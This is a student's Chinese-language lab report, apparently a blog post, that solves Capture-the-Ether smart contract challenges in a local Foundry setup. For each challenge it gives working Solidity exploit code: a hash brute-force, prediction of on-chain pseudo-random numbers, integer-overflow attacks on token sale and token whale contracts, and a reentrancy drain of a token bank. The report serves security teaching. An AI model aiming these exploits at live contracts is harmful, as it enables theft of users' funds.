竞学实训(3)

dawn_r1sing Lv4

实验Smart Contract


一切还在掌控之中

一.实验目的

通过破解以太坊智能合约来了解智能合约的漏洞类型。

二.实验内容

(一) 本地部署靶场

参看“参考资料”中的内容或自行搜索资料,完成以下实验。

1. 安装foundry,并将repo clone到本地。

参考官方安装文档或自行查找资料,安装好foundry;将repo clone到本地。(请描述过程遇到了哪些问题?是如何解决的?)

为了解决网络问题以及出于习惯考虑,我使用的是wsl进行本实验。由于在之前的Malware Analysis实验中为了配置Cuckoo Sandbox关闭了window11主机的虚拟化,首先要做的是打开hyper-v恢复虚拟化支持。使用二进制脚本安装(太慢了,直接下载release)。

img

在wsl编译的同时(问GPT回答说可以自己编译foundry兼容当前 glibc,尝试失败),我在虚拟机中也尝试,报错如下:

img

原因是glibc 版本,最合适的解决方法是使用ubuntu 22.04+,为了节省时间,我同时下载Ubuntu22.04镜像和旧版本foundry(emm旧版本也都不支持,只能等待ubunutu22.04镜像)。

镜像下载过程中,我发现干脆安装一个ubuntu 22.04的wsl更快,因此我选择使用wsl ubuntu 22.04完成此实验。

img

(二) 实验

靶场用法:在capture-the-ether-foundry/目录中:

  1. 阅读实验问题及其源码(./PROBLEM_NAME/src/PROBLEM_NAME.sol)里 //Write your exploit codes below之前的内容,找出其漏洞所在。

  2. cd到实验问题所在目录(./PROBLEM_NAME/),然后在:

    1. 测试(./PROBLEM_NAME/test/PROBLEM_NAME.t.sol)中的 // Put your solution here (或是相同意思的注释)处添加你的解决方案(攻击代码);
    2. 源码(./PROBLEM_NAME/src/PROBLEM_NAME.sol)中的// Write your exploit codes below(或是相同意思的注释)处写解决方案(攻击代码)。
    3. 编写完解决方案后,cd到问题所在目录(./PROBLEM_NAME/),使用forge test运行测试以检验攻击成果。
1. Guess secret number

将答案直接写入代码会让事情变得太过简单,因此这次只存储了这个数字的哈希值。

目标:破解这个哈希值。(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

本质上就是穷举数字比对hash值。因为这个数字是uint8类型,穷举搜索是实际可行的,只需要遍历0-256计算hash值与answerHash比对,相等时对应的数字即为所求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Write your exploit codes below

contract ExploitContract {

bytes32 answerHash =

0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;



function Exploiter() public view returns (uint8) {

​ uint8 n;

for(uint8 i=0;i<256;i++)

​ {

if (keccak256(abi.encodePacked(i)) == answerHash) {

​ n = i;

break;

​ }

​ }

return n;

}

}

img

2. Guess random number

这次的数字是基于几个相当随机的来源生成的。

目标:猜出随机数。

提示:

(1) SWC-136:链上未加密的私有数据;

(2) Ethernaut挑战#8解决方案 — Vault。

(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

相较于上一题,这次的数字是随机生成的。相当于是在模拟真实合约中的不安全场景:使用上一个block的信息生成随机数。而这些数据对于攻击者来说都是容易获得的,因此容易伪造。具体而言是依赖于上一个block的hash值和时间戳,因此只需要模仿answer的生成方式即可猜出随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//Write your exploit codes below

contract ExploitContract {

GuessRandomNumber public guessRandomNumber;

uint8 public answer;

function Exploit() public returns (uint8) {

​ answer = uint8(

uint256(

keccak256(

​ abi.encodePacked(

blockhash(block.number - 1),

​ block.timestamp

​ )

​ )

​ )

​ );

return answer;

}

}


img

3. Guess new number

该数字现在会在进行猜测时按需生成。

目标:猜中合约中answer的值

(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

本题的answer也是由上一block的hash值与时间戳生成的,只不过和上一题生成answer的时机不同。Guess random number是在调用guess函数之前就已经生成好answer,而Guess new number是在guess函数中生成。

但对于攻击者而言,不管是哪种情况,当前block的number以及时间戳都是已知的,因此模仿answer生成即可猜出随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//Write your exploit codes below

contract ExploitContract {

GuessNewNumber public guessNewNumber;

uint8 public answer;



function Exploit() public returns (uint8) {

​ answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));

return answer;

}

}

img

4. Token sale

该代币合约允许您以1个代币(token)兑换1个以太币(ether)的固定汇率买卖代币。合约开始时的余额为1个以太币。看看你能否从中赚取一些利润吧。

目标:窃取部分代币。

(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

要求tokenSale的以太币余额少于1 ether,也就是说我们要把它买出来(即sell token)

1
2
3
4
5
function isComplete() public view returns (bool) {

return address(this).balance < 1 ether;

}

首先初始情况下攻击协议是没有token的(或者说我们没有足够的余额将足够的wei换出),想令tokenSale的以太币余额少于1 ether就需要我们从某处“偷”token。

攻击突破口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function buy(uint256 numTokens) public payable returns (uint256) {

​ uint256 total = 0;

​ unchecked {

​ total += numTokens * PRICE_PER_TOKEN;// 这里并不检查溢出,total = (numTokens * PRICE_PER_TOKEN) mod 2²⁵⁶

​ }

​ require(msg.value == total);



​ balanceOf[msg.sender] += numTokens;

​ return (total);

}

当numTokens * PRICE_PER_TOKE超过uint256最大值时发生溢出,这意味着我们可以构造合适的数,使得溢出后截断的total等于value,实现用更少的value(以太币,单位为wei)买更多的token。还需要注意的是,构造的token数、wei数不能超过uint256 最大值,否则无法编译通过。

构造原理:首先明确一点,此时交易的ether不是整数,也就是说我们要用wei作为单位。为了防止value(单位wei)溢出,我们计算total发生溢出时对应numToken的最小值,然后计算total的真实取值,即应付款的value(单位wei)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
n1 = 2**256

n2 = 10**18

numTokens = (n1 - 1) // n2 + 1 # total发生溢出时的最小值,但溢出的值一定要在攻击方的余额内(1、2、3,至少留1个在账户)

value = numTokens * n2 - n1 # 溢出 = 计算得到的total,如果total等于msg.value,交易就能够成功

print("numTokens =",numTokens)

print("value =",value)

\# numTokens = 115792089237316195423570985008687907853269984665640564039458

\# ether = 415992086870360064

然后就可以卖掉“偷”到的一个token,实现攻击。值得注意的是,需要在攻击合约和测试中补充攻击函数Exploiter。

补充代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Write your exploit contract below

contract ExploitContract {

TokenSale public tokenSale;



constructor(TokenSale _tokenSale) {

​ tokenSale = _tokenSale;

}



receive() external payable {}

// write your exploit functions below

function Exploiter() external {

​ uint256 numTokens = 115792089237316195423570985008687907853269984665640564039458;

​ uint256 value = 415992086870360064;

​ tokenSale.buy{value: value}(numTokens);

​ tokenSale.sell(1);

}

}

测试文件:

// Use the instance of tokenSale and exploitContract

function testIncrement() public {

​ // Put your solution here

​ exploitContract.Exploiter();

​ _checkSolved();

}

img

5. Token whale

这款兼容ERC-20的代币难以获取,其总供应量固定为1,000个代币,且初始阶段所有代币均归你所有。试找到一种方法积累至少1,000,000枚代币以完成此挑战。

目标:积累至少 1,000,000 个代币。

(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

攻击突破口在transferFrom函数,检查from的余额但扣除其授权者的余额,逻辑有误,且_transfer函数可溢出。(这里的逻辑一开始没有细看,直接默认是正常人逻辑,后来测试的时候一整个蒙圈,重新读了代码才明白过来)

首先利用transfer函数将player的余额全部转出,然后利用transferFrom函数的混乱检查(检查代理余额,扣除调用者的余额),请求让达成协议的用户进行transferFrom,此时扣款发生溢出,实现目标。

本题需要格外注意的是,msg.sender地址是指谁?因为大部分情况是player,所以我的代码写在了testExploit函数中,需要其他sender的场景使用vm.startPrank和vm.stopPrank即可。

代码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function isComplete() public view returns (bool) {

​ return balanceOf[player] >= 1000000; // 要求player的余额大于1000000

}



function _transfer(address to, uint256 value) internal {

​ unchecked {

​ balanceOf[msg.sender] -= value; // 溢出

​ balanceOf[to] += value;

​ }

​ emit Transfer(msg.sender, to, value);

}



function transfer(address to, uint256 value) public {

​ require(balanceOf[msg.sender] >= value); // sender:余额足够

​ require(balanceOf[to] + value >= balanceOf[to]); // to:余额不会溢出

​ _transfer(to, value);

}



event Approval(

​ address indexed owner,

​ address indexed spender,

​ uint256 value

);



function approve(address spender, uint256 value) public { // sender授权spender可以花费owner的余额

​ allowance[msg.sender][spender] = value;

​ emit Approval(msg.sender, spender, value);

}



function transferFrom(address from, address to, uint256 value) public {

​ require(balanceOf[from] >= value); // 这里检查from的余额,但后面扣除的是授权者的余额,一整个逻辑混乱

​ require(balanceOf[to] + value >= balanceOf[to]);

​ require(allowance[from][msg.sender] >= value);

​ allowance[from][msg.sender] -= value;

​ _transfer(to, value);

}

}

攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Use the instance tokenWhale and exploitContract

// Use vm.startPrank and vm.stopPrank to change between msg.sender

function testExploit() public {

​ // Put your solution here

​ address addr = address(this);



​ tokenWhale.transfer(Alice, 1000);

​ tokenWhale.approve(Alice, type(uint256).max);

​ vm.startPrank(Alice);

​ tokenWhale.approve(addr, type(uint256).max);

​ vm.stopPrank();

​ tokenWhale.transferFrom(Alice, Bob, 10);



​ _checkSolved();

}

运行截图:

img

6. Token bank

一个代币银行允许任何人通过将代币转入银行来存入代币,然后在以后提取这些代币。它使用ERC-223来接受传入的代币。该银行部署了一个名为“Simple ERC223 Token”的代币,并将代币的一半分配给我,另一半分配给你。如果你能清空银行,你就赢得了这个挑战。

目标:清空银行。

(附上添加的解决方案代码、思路解释,以及解决方案运行成功的截图)

攻击突破口为withdraw函数,逻辑是先转账,再扣款。如果这两个操作之间的transfer函数触发tokenFallback函数(此时可以再次调用withdraw以清空银行),然后再回到withdraw函数进行扣款,这就实现了“付一笔款买两份东西”。但注意,想要实现这一点,还需要之前用户的余额不小于银行的余额,否则仍是有心无力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function withdraw(uint256 amount) public {

​ // emit Test1(msg.sender, balanceOf[msg.sender]);

​ require(balanceOf[msg.sender] >= amount); // 先转账,再扣余额

​ require(token.transfer(msg.sender, amount));

​ unchecked {

​ balanceOf[msg.sender] -= amount;

​ }

}

具体而言,先将player的余额全部取出,通过transferfrom函数将token转移给攻击合约。调用攻击合约的exploit函数进行攻击,首先将攻击合约的token存入银行,获得余额,调用withdraw函数→transfer函数→tokenFallback函数,利用attacking标识当前一次的withdraw是否嵌套调用,然后根据余额状况再一次调用withdraw,也就是说主函数中的一次withdraw可以取出两倍的value,实现清空。

值得注意的是,本题目设定应为:

  1. 不可动用test账户余额

  2. 不可利用token地址直接调用tokenFallback函数,否则会扰乱整个交易秩序(具体而言就是,用户向银行存款,但银行账户余额不增加,如果是这样的话,直接多找几个账户转款、存款、取款就能把银行取垮了)

  3. 协议的基本设定不可随意变化(比如,把Test变为ITokenReceiver,此时在test中就能将test用户的余额取出,题目就没有意义了)

详细代码如下:

  1. TokenBank.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
contract TokenBankAttacker is ITokenReceiver {

TokenBankChallenge public challenge;



constructor(address challengeAddress) {

​ challenge = TokenBankChallenge(challengeAddress);

}



// Write your exploit contract below

bool attacking ; // 标记是否已经进行攻击,防止迭代

SimpleERC223Token public token;

function exploit() external {

​ token = challenge.token();



// 将攻击协议手中的token存入银行(tokenFallback函数)

​ token.transfer(address(challenge), 500000 * 10**18 );



// 攻击协议取出余额,触发连环调用

​ challenge.withdraw(500000 * 10**18 -1); // 取出 1000000 * 10**18 - 2

​ attacking = false;

​ challenge.withdraw(1); // 取出2

// 共取出1000000 * 10**18,清空

}



function tokenFallback(

​ address,

​ uint256,

​ bytes memory

) external override {

require(msg.sender == address(token), "Invalid sender");



if(!attacking){

​ attacking = true;

​ uint256 bankBalance = token.balanceOf(address(challenge)); // 取出银行中所有的余额

if (bankBalance > 500000 * 10**18) {// 针对攻击协议的第一次withdraw,防止超出余额;第二次两个都是1,不会超出

​ challenge.withdraw(500000 * 10**18 - 1);

​ }else{

​ challenge.withdraw(bankBalance);

​ }

​ }

}

}
  1. TokenBank.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
contract TankBankTest is Test {

TokenBankChallenge public tokenBankChallenge;

TokenBankAttacker public tokenBankAttacker;

address player = address(1234);



function setUp() public {}

function testExploit() public {

​ tokenBankChallenge = new TokenBankChallenge(player);

​ tokenBankAttacker = new TokenBankAttacker(address(tokenBankChallenge));



​ // Put your solution here

​ SimpleERC223Token token = tokenBankChallenge.token();

​ vm.startPrank(player);

​ tokenBankChallenge.withdraw(500000 * 10**18); // 先把player的余额取出,剩余一半

​ token.approve(player, type(uint256).max); // 授权

​ // 把player手里的token给tokenBankAttacker

​ token.transferFrom(player, address(0x2e234DAe75C793f67A35089C9d99245E1C58470b), 500000 * 10**18);

​ vm.stopPrank();



​ tokenBankAttacker.exploit(); // 进行攻击



​ _checkSolved();

}

img

三.实验总结

在本次Smart Contract实验中,我学习并分析了多个智能合约漏洞与攻击场景,涵盖了碰撞、链上伪随机数推导、token定价漏洞、整数溢出、重入漏洞等典型问题。

  • 通过前两个任务,我知道了链上数据具有公开性,不能用作保密用途,也不能作为随机数源

  • Token Whale与Token Sale两题让我理解了整数溢出在定价机制中的利用方式

  • 在Token Bank中学习了重入攻击,结合tokenFallback函数的回调机制,利用操作步骤顺序错误完成攻击,体现了逻辑漏洞带来的实际风险

整个过程中,我不仅尝试了Foundry框架的使用,也加深了对智能合约安全性的系统性理解。

四.参考资料

[1] 智能合约开发中13种最常见的漏洞:https://blog.csdn.net/qq_38420688/article/details/139493581

[2] 智能合约语言Solidity:https://www.w3ccoo.com/solidity/solidity_basic_syntax.htmlhttps://learnblockchain.cn/docs/solidity/types.html (留意Solidity版本的不同对代码使用可能的影响)

[3] Foundry教程|如何调试和部署Solidity智能合约:https://learnblockchain.cn/article/4524

  • Author: dawn_r1sing
  • Created at : 2025-07-11 22:17:12
  • License: This work is licensed under CC BY-NC-SA 4.0.(转载请注明出处)